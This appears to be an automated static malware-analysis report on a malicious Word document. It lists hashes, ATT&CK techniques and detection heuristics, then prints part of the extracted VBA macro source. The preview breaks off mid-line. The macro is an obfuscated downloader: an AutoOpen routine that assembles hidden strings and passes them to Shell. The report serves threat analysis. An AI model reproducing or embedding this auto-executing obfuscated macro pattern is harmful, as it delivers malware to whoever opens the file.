Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 50c4e66b9f3cbbab…

MALICIOUS

Office (OLE)

79.4 KB Created: 2018-09-20 04:27:00 Authoring application: Microsoft Office Word First seen: 2019-02-10
MD5: 631de240ea26fcf9807312ba12e69ede SHA-1: 01a1f443d4303af08c8847a0169c8c1e6e51beec SHA-256: 50c4e66b9f3cbbab3298dc9113b16e485c17feecf296cab4829607942e6b63d2
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro with an AutoOpen function, a common technique for executing malicious code upon opening. The ClamAV detection 'Doc.Downloader.Valyria-6713303-0' strongly suggests this is a downloader. The macro code is heavily obfuscated, but its structure indicates it is designed to download and execute a second-stage payload. The presence of the AutoOpen macro and the downloader heuristic points to a malicious document, likely delivered via spearphishing.

Heuristics 5

  • ClamAV: Doc.Downloader.Valyria-6713303-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6713303-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17673 bytes
SHA-256: 74d9f0a95dba3cb48ed512a3b0e07f6eafd72fbb307b8f264dad8b09800ac9d6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "MrEwmRHqNcULa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const abiVFfRfB = 0
   Dim MvSLz(3)
MvSLz(0) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930)
MvSLz(1) = Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751)
MvSLz(2) = Right(pRKLj, 308) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Right(pRKLj, 308)
   Dim TOWRtS(3)
TOWRtS(0) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + Right(pRKLj, 308) + Right(pRKLj, 308)
TOWRtS(1) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308)
TOWRtS(2) = Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751)
   Dim OKVPpt(3)
OKVPpt(0) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308)
OKVPpt(1) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930)
OKVPpt(2) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930)
   Dim KwEfY(2)
KwEfY(0) = MidB(OTCFSPSh, 103, 751) + Right(pRKLj, 308)
KwEfY(1) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751)
   Dim wGvqP(3)
wGvqP(0) = Right(pRKLj, 308) + Right(pRKLj, 308) + Left(MfsbvGwV, 930) + Mid(ZJvXk, 188, 706)
wGvqP(1) = MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751)
wGvqP(2) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930)
   Dim YiGOX(2)
YiGOX(0) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706)
YiGOX(1) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308)
   Dim zLsld(2)
zLsld(0) = Right(pRKLj, 308) + Left(MfsbvGwV, 930)
zLsld(1) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706)
   Dim JQoIwM(3)
JQoIwM(0) = Right(pRKLj, 308) + Right(pRKLj, 308) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706)
JQoIwM(1) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751)
JQoIwM(2) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706)
Shell@ wwmDvYwfi + wkmGKrQj + oarHsYzjjz + ASVjIrviWJK, abiVFfRfB
   Dim NAFKjz(4)
NAFKjz(0) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930)
NAFKjz(1) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706)
NAFKjz(2) = Right(pRKLj, 308) + Left(MfsbvGwV, 930)
NAFKjz(3) = Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930)
   Dim FRnjj(4)
FRnjj(0) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751)
FRnjj(1) = Left(MfsbvGwV, 930) + Right(pRKLj, 308) + Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751)
FRnjj(2) = Left(MfsbvGwV, 930) + Right(pRKLj, 308)
FRnjj(3) = Right(pRKLj, 308) + Left(MfsbvGwV, 930)
   Dim LMFjkF(3)
LMFjkF(0) = Left(MfsbvGwV, 930) + Left(MfsbvGwV, 930)
LMFjkF(1) = Mid(ZJvXk, 188, 706) + Mid(ZJvXk, 188, 706)
LMFjkF(2) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930)
End Sub


Attribute VB_Name = "SbpVUcCiQDifYu"
Function wwmDvYwfi()
Dim YYXtdo(5)
YYXtdo(0) = Mid(ZJvXk, 188, 706) + Left(MfsbvGwV, 930)
YYXtdo(1) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308)
YYXtdo(2) = MidB(OTCFSPSh, 103, 751) + MidB(OTCFSPSh, 103, 751)
YYXtdo(3) = Left(MfsbvGwV, 930) + Right(pRKLj, 308) + MidB(OTCFSPSh, 103, 751) + Right(pRKLj, 308)
YYXtdo(4) = MidB(OTCFSPSh, 103, 751) + Left(MfsbvGwV, 930)
   Dim bXSdJQ(4)
bXSdJQ(0) = Left(MfsbvGwV, 930) + MidB(OTCFSPSh, 103, 751)
bXSdJQ(1) = Right(pRKLj, 308) + Right(pRKLj, 308)
bXSdJQ(2) = Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308)
bXSdJQ(3) = Right(pRKLj, 308) + Mid(ZJvXk, 188, 706) + Right(pRKLj, 308) + Right(pRKLj, 308)
   Dim Btubo(2)
Btubo(0) = MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751) + Mid(ZJvXk, 188, 706)
Btubo(1) = Mid(ZJvXk, 188, 706) + MidB(OTCFSPSh, 103, 751)
   Dim laQjL(5)
laQjL(0) = Mi
... (truncated)

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